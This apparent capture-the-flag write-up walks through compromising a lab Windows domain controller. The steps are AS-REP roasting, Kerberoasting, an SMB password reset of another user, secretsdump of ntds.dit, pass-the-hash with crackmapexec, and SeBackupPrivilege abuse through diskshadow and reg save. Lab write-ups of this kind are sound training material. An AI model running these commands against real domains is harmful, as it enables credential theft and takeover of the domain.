Razorblack is a medium Windows room with focus on SMB and basic Active Directory attacks. First, it was required to obtain a list of member names (fullnames) via an exposed NFS. This member list was then used to create a list with possible usernames. We were then able to conduct an AS-REP Roasting attack using these potential usernames. The result was promising. We actually found a vulnerable user. Once we had the as-rep, we were able to crack the user’s password. These credentials were then used to further enumerate the SMB shares, in which we could find a
ntds.dit and a
system file. These files helped us to recover further user hashes. Moreover, we also conducted a Kerberoasting attack, which finally gave us access to the system as a somewhat privileged user. During the enumeration, we then found that this user was also able to create backups as he/she was part of the Backup Operators group and thus had SeBackupPrivileges. These privileges were exploited by creating a backup of the whole system from which we were then able to extract the
system file. Using these files, we were able to obtain the Administrator hash and thus gain full access to the system.
Note: The target machine stopped responding several times during the assessment. Therefore, the IP addresses in the report might change from time to time, even though we are always looking at the same machine.
As always, we start by scanning the target machine’s open ports:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 rustscan --ulimit 5000 razorblack.thm -- sV -sC -oN nmap_scan PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack Simple DNS Plus 88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2022-06-19 09:25:07Z) 111/tcp open rpcbind syn-ack 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/tcp6 rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 2,3,4 111/udp6 rpcbind | 100003 2,3 2049/udp nfs | 100003 2,3 2049/udp6 nfs | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100005 1,2,3 2049/tcp mountd | 100005 1,2,3 2049/tcp6 mountd | 100005 1,2,3 2049/udp mountd | 100005 1,2,3 2049/udp6 mountd | 100021 1,2,3,4 2049/tcp nlockmgr | 100021 1,2,3,4 2049/tcp6 nlockmgr | 100021 1,2,3,4 2049/udp nlockmgr | 100021 1,2,3,4 2049/udp6 nlockmgr | 100024 1 2049/tcp status | 100024 1 2049/tcp6 status | 100024 1 2049/udp status |_ 100024 1 2049/udp6 status 135/tcp open msrpc syn-ack Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack 464/tcp open kpasswd5? syn-ack 593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack 2049/tcp open mountd syn-ack 1-3 (RPC #100005) 3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack 3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services | ssl-cert: Subject: commonName=HAVEN-DC.raz0rblack.thm | Issuer: commonName=HAVEN-DC.raz0rblack.thm | Public Key type: rsa | Public Key bits: 2048 5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf syn-ack .NET Message Framing 47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc syn-ack Microsoft Windows RPC 49665/tcp open msrpc syn-ack Microsoft Windows RPC 49666/tcp open msrpc syn-ack Microsoft Windows RPC 49669/tcp open msrpc syn-ack Microsoft Windows RPC 49670/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0 49671/tcp open msrpc syn-ack Microsoft Windows RPC 49673/tcp open msrpc syn-ack Microsoft Windows RPC 49677/tcp open msrpc syn-ack Microsoft Windows RPC 49692/tcp open msrpc syn-ack Microsoft Windows RPC 49703/tcp open msrpc syn-ack Microsoft Windows RPC Service Info: Host: HAVEN-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Looking at the output of the nmap port scan, we can definitely confirm that this is some kind of Domain Controller. Let’s proceed with the enumeration of the exposed services.
Enumeration Port 111 - RPCbind
In the nmap output, we see that RPC exposes several other services including a
nfs. This means, there might be a file system that we are able to mount. We can use
showmount to check for existing shares.
1 2 3 4 ┌──(kali㉿kali)-[~/THM/rooms/razorblack] └─$ showmount -e 10.10.218.116 Export list for 10.10.218.116: /users (everyone)
And indeed! We find a share called
/users. Next, we can simply mount that file system to our local machine and access it:
1 2 3 4 5 6 7 ┌──(kali㉿kali)-[~/THM/rooms/razorblack] └─$ sudo mount 10.10.218.116:/users /mnt/users ┌──(kali㉿kali)-[~/THM/rooms/razorblack] └─$ sudo ls -la /mnt/users -rwx------ 1 nobody 4294967294 9861 Feb 25 2021 employee_status.xlsx -rwx------ 1 nobody 4294967294 80 Feb 25 2021 sbradley.txt <- User FLAG
There, we find two files. One file called
sbradley.txt including a user flag. The other file is called
employee_status.xlsx. This file contains a list of members for the
Haven Secret Hacker's Club. What’s interesting is, that there is a member called
steven bradley, which matches the name of the user flag. This gives an idea of how the naming convention in the domain might look like.
Using this naming convention and the found full names of the members, we can create a list of possible usernames:
1 2 3 4 5 6 7 8 9 10 11 12 dport iroyce tvidal aedwards cingram ncassidy rzaydan lvetrova rdelgado sbradley twilliams clin
Next, we can use these usernames to conduct an AS-REP Roasting attack. This means, we check for usernames that have pre-authentication disabled. To test for that, we us
Perfect! We got a hit. Requests using the username
twilliams require no pre-authentication! We can now proceed with cracking the user’s password offline using
There we go. We got our first valid credentials:
Using these credentials, we can now try to enumerate the exposed SMB shares. However, we only have access to the
SYSVOL shares. As we are already in possession of usernames, we dont have to conduct a RID cycling attack via the IPC$ share. Moreover, the NETLOGON and SYSVOL shares seem to be empty. So nothing interesting found in these shares.
The next step is to test if any of the users we found can access the SMB shares (using either no password or the password we found for the user twilliams). For that we use the tool
The output is rather interesting. While we cannot use the found credentials for any other user nor can any other user access the shares without password, we see that the user
sbradley is asked to change its password as the old one has expired:
1 raz0rblack.thm\sbradley:roastpotatoes STATUS_PASSWORD_MUST_CHANGE
As we are nice people, we can quickly do that password reset for him :)
1 2 3 4 5 6 ┌──(kali㉿kali)-[~/THM/rooms/razorblack] └─$ smbpasswd -r 10.10.218.116 -U 'sbradley' Old SMB password: roastpotatoes New SMB password: babbadeckl Retype new SMB password: babbadeckl Password changed for user sbradley
Now, we can try to enumerate the SMB shares with the new credentials for the user
sbradley - we now have access to the
In there we find several files:
Let’s download all of them and have a look at them locally:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 └─$ cat chat_log_20210222143423.txt sbradley> Hey Administrator our machine has the newly disclosed vulnerability for Windows Server 2019. Administrator> What vulnerability?? sbradley> That new CVE-2020-1472 which is called ZeroLogon has released a new PoC. Administrator> I have given you the last warning. If you exploit this on this Domain Controller as you did previously on our old Ubuntu server with dirtycow, I swear I will kill your WinRM-Access. sbradley> Hey you won't believe what I am seeing. Administrator> Now, don't say that you ran the exploit. sbradley> Yeah, The exploit works great it needs nothing like credentials. Just give it IP and domain name and it resets the Administrator pass to an empty hash. sbradley> I also used some tools to extract ntds. dit and SYSTEM.hive and transferred it into my box. I love running secretsdump.py on those files and dumped the hash. Administrator> I am feeling like a new cron has been issued in my body named heart attack which will be executed within the next minute. Administrator> But, Before I die I will kill your WinRM access.......... sbradley> I have made an encrypted zip containing the ntds.dit and the SYSTEM.hive and uploaded the zip inside the trash share. sbradley> Hey Administrator are you there ... sbradley> Administrator ..... The administrator died after this incident. Press F to pay respects
Investigating the ZIP file
sbradley has apparently exploited the system and stored the
ntds.dit files in the uploaded
experiment_gone_wrong.zip. Unfortunately, that zip file is protected by a password. If we can crack it, we can get access to the two mentioned files which ultimately gives us access to all password hashes on the system.
john to crack the password for the zip:
Quicker than expected, but we got the password! We can now open the zip and use the included
ntds file to retrieve the password hashes (ATTENTION: the output is huge, so you better save it in a file)
1 secretsdump.py -ntds ntds.dit -system system.hive LOCAL > hashes.txt
Identifying Ljudmila’s Hash
The task asks us to identify Ljudmila’s (user:
lvetrova) hash. This is a rather simple task, as we do have access to all ntds hashes. We simply have to bring them into a decent format (excerpt of the file - used vim macros to extract the NTLM hash of ever entry in the ntds file):
1 2 3 4 5 6 7 8 .... d1612a4cc10d4806096bb1324fd0d049 2fefe62d6a2957b228c173a99844ec00 5a57cffe3808c7845fac499ce2fa3e00 c076e088accc4599469f5e3340e6e971 26a9502bad726817e1302069be8c10db 8f2c62b4457e8da29fab7d16bb132740 ...
We can then use that list in combination with
crackmapexec to determine the matching hash for the user
1 2 3 4 5 6 7 8 9 10 11 12 └─$ crackmapexec smb 10.10.163.118 -u lvetrova -H ntds_hashes SMB 10.10.163.118 445 HAVEN-DC [*] Windows 10.0 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False) SMB 10.10.163.118 445 HAVEN-DC [-] raz0rblack.thm\lvetrova:31d6cfe0d16ae931b73c59d7e0c089c0 STATUS_LOGON_FAILURE SMB 10.10.163.118 445 HAVEN-DC [-] raz0rblack.thm\lvetrova:31d6cfe0d16ae931b73c59d7e0c089c0 STATUS_LOGON_FAILURE SMB 10.10.163.118 445 HAVEN-DC [-] raz0rblack.thm\lvetrova:4bb97f19c29f793db65195781b926486 STATUS_LOGON_FAILURE SMB 10.10.163.118 445 HAVEN-DC [-] raz0rblack.thm\lvetrova:31d6cfe0d16ae931b73c59d7e0c089c0 STATUS_LOGON_FAILURE SMB 10.10.163.118 445 HAVEN-DC [-] raz0rblack.thm\lvetrova:eb3272d9e1ce9055be9487a6f6787dd1 STATUS_LOGON_FAILURE SMB 10.10.163.118 445 HAVEN-DC [-] raz0rblack.thm\lvetrova:42263cad4fc3f45816c340e684e2592a STATUS_LOGON_FAILURE SMB 10.10.163.118 445 HAVEN-DC [-] raz0rblack.thm\lvetrova:7b8b14a73d8a45249de2f5b0c225d515 STATUS_LOGON_FAILURE SMB 10.10.163.118 445 HAVEN-DC [-] raz0rblack.thm\lvetrova:081af9630677a387f6f0a9bb17852602 STATUS_LOGON_FAILURE SMB 10.10.163.118 445 HAVEN-DC [-] raz0rblack.thm\lvetrova:c184a72ed800899bc1ff633778a89b5e STATUS_LOGON_FAILURE SMB 10.10.163.118 445 HAVEN-DC [+] raz0rblack.thm\lvetrova:f220d3988deb3f516c73f40ee16c431d
There we go! We got the hash! We can now use that hash to authenticate as that user using
The next task is to retrieve
Xyan1d3’s password. As this username is not part of our current user list, my first assumption was, that this might be a yet undiscovered service user. Since we’ve already obtained valid user credentials, we can use these to request Kerberos Tickets for existing services. We can do that by using
Xyan1d3 is a service user and we got its hash. So let’s attempt to crack it using
Wonderful! Another weak password:
To get access to the system, we can now use
evil-winrm to log in to the system as
The password/flag can be obtained as follows:
1 2 $creds = Import-Clixml -path xyan1d3.xml $creds.GetNetworkCredential().password
After doing the standard windows enumeration, we find something interesting in the
whoami /all output.
This looks odd. These privileges are not the common privileges that I’ve encountered on previous machines. A quick google search reveals, that these privileges can be used to escalate privileges. So let’s do that. First, we create a txt file with the following content:
1 2 3 4 5 6 7 8 9 set verbose onX set metadata C:\Windows\Temp\meta.cabX set context clientaccessibleX set context persistentX begin backupX add volume C: alias cdriveX createX expose %cdrive% E:X end backupX
Next, we use the builtin
shadowcopy tool to create a backup. The created txt file is our config file for the command. This will create a backup of the whole C: disk and save it in the E: disk.
We can then extract the
ntds file from the E: disk and store it in a temp directory (use
robocopy /b E:\windows\ntds . ntds.dit). There, we can also create the system file using
reg save hklm\system C:\temp_babbadeckl\system. The next step is to transfer both files to the attacker machine. There, we can then use
Impacket's secretsdump.py to recover the hashes (including the hash of the Administrator).
Finally, we use evil-winrm in combination with the Administrator’s hash to log in to the server. The last step is to retrieve the root flag as we’ve previously done it with the other user accounts:
Huh?! Why does it not work? Let’s take a look at the file:
1 2 3 4 5 6 7 8 9 10 11 12 <Objs Version="220.127.116.11" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <Obj RefId="0"> <TN RefId="0"> <T>System.Management.Automation.PSCredential</T> <T>System.Object</T> </TN> <ToString>System.Management.Automation.PSCredential</ToString> <Props> <S N="UserName">Administrator</S> <SS N="Password">44616d6e20796f752061726520612067656e6975732e0a4275742c20492061706f6c6f67697a6520666f72206368656174696e6720796f75206c696b6520746869732e0a0a4865726520697320796f757220526f6f7420466c61670a54484d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e2068747470733a2f2f747769747465722e636f6d2f5879616e3164332061626f75742077686174207061727420796f7520656e6a6f796564206f6e207468697320626f7820616e642077686174207061727420796f75207374727567676c656420776974682e0a0a496620796f7520656e6a6f796564207468697320626f7820796f75206d617920616c736f2074616b652061206c6f6f6b20617420746865206c696e75786167656e637920726f6f6d20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736f6d65206c696e75782066756e64616d656e74616c7320616e642070726976696c65676520657363616c6174696f6e2068747470733a2f2f7472796861636b6d652e636f6d2f726f6f6d2f6c696e75786167656e63792e0a</SS> </Obj> </Objs>
Ahhh … the author of the room tried to trick us. This is not the encrypted password but clearly a hex string. Let’s copy and decode it:
There we go, we got the root flag :)